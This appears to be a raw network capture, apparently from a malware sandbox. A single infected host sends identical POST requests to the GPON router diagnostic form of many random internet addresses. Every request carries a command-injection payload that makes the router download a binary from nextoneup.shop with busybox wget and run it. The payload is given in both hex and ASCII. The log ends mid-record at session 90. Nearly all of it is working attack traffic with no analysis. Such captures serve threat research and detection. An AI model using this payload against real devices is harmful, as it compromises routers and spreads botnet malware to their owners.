XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	60522	37.246.18.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107300043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	41100	148.145.81.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107355118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	52104	123.44.124.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107373953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	37338	42.80.43.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107408047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	56504	148.92.249.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107506037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	60428	42.205.235.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107511044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	40778	210.187.162.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107539892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	50282	123.81.216.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107563972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	45520	94.24.102.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107582092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	54322	5.110.248.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107630968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	39582	5.9.40.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107650995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	39810	2.152.72.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107685089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	49900	5.92.99.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107714891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	36804	118.180.110.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107789993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	59286	37.19.188.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107834101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	51960	178.110.229.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107867002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	47800	202.181.132.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107878923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	59744	123.34.181.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107913017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	37992	42.249.81.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107994080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	55428	202.176.161.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107997894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	46988	5.130.26.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108046055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	40540	37.105.85.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108082056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	60474	42.58.12.247	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108098030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	39168	178.85.241.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108155012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	52680	118.16.138.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108233929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	43288	123.2.207.82	443

Timestamp	Bytes transferred	Direction	Data
